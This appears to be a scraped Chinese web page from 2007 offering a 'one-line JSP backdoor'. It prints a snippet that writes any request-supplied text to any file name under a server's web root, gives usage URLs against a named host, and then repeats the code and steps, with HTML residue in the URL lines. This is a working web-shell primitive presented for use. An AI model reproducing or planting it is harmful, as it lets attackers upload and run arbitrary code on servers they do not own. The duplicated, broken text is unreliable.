JSP一句話后門
更新時間：2007年02月09日 00:00:00 作者：
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
使用方法:
提交url!
jsp?f=1.txt" target="_blank">http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld
然后:http://www.whitehouse.net.cn/1.txt 就出來了 內(nèi)容為 HelloWorld
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
使用方法:
提交url!
jsp?f=1.txt" target="_blank">http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld
然后:http://www.whitehouse.net.cn/1.txt 就出來了 內(nèi)容為 HelloWorld
相關文章
JSP中的PreparedStatement對象操作數(shù)據(jù)庫的使用教程
這篇文章主要介紹了JSP中的PreparedStatement對象操作數(shù)據(jù)庫的使用教程,文中舉了一些使用PreparedStatement預處理語句對象進行MySQL增刪查改的例子,需要的朋友可以參考下2016-04-04
JSP程序運行原理、文檔結(jié)構(gòu)及簡單輸入輸出實例分析
這篇文章主要介紹了JSP程序運行原理、文檔結(jié)構(gòu)及簡單輸入輸出,以完整實例形式較為詳細的分析了JSP程序的運行原理、文檔結(jié)構(gòu)及簡單輸入輸出詳細技巧,具有一定參考借鑒價值,需要的朋友可以參考下2015-09-09
Jsp中解決session過期跳轉(zhuǎn)到登陸頁面并跳出iframe框架的方法
這里我們是介紹一個網(wǎng)站管理后臺三個框架頁面當我們的jsp定義的session變量超時時用戶點擊時自動退出框架頁面并跳到登錄頁面去了，下面我來給大家演示一個實例2013-08-08
這篇文章主要介紹了jsp-解決文件上傳后重啟Tomcat時文件自動刪除問題,包括問題分析和具體解決辦法，還是很不錯的，需要的朋友可以參考下。2017-09-09
這篇文章主要介紹了jsp中獲取當前目錄的方法,實例分析了JSP獲取當前路徑的方法,并對相關目錄操作函數(shù)進行了總結(jié)歸納,是非常實用的技巧,需要的朋友可以參考下2014-11-11
這篇文章主要介紹了Java之JSP教程九大內(nèi)置對象詳解(上篇)，本文章內(nèi)容詳細，通過案例可以更好的理解JSP內(nèi)置對象的相關知識，本模塊分為了三部分，本次為上篇，講解了三個內(nèi)容，需要的朋友可以參考下2023-01-01
java MD5加密完全代碼2008-11-11
我認為JSP有問題(下)...2006-10-10
session的過期時間需要配置在tomcat中的web.xml中,時間以分鐘計算,另最大時間好像是24小時,感興趣的朋友可以了解下，希望本文對你學習session有所幫助2013-01-01
這篇文章主要介紹了JSP應用的安全問題2006-10-10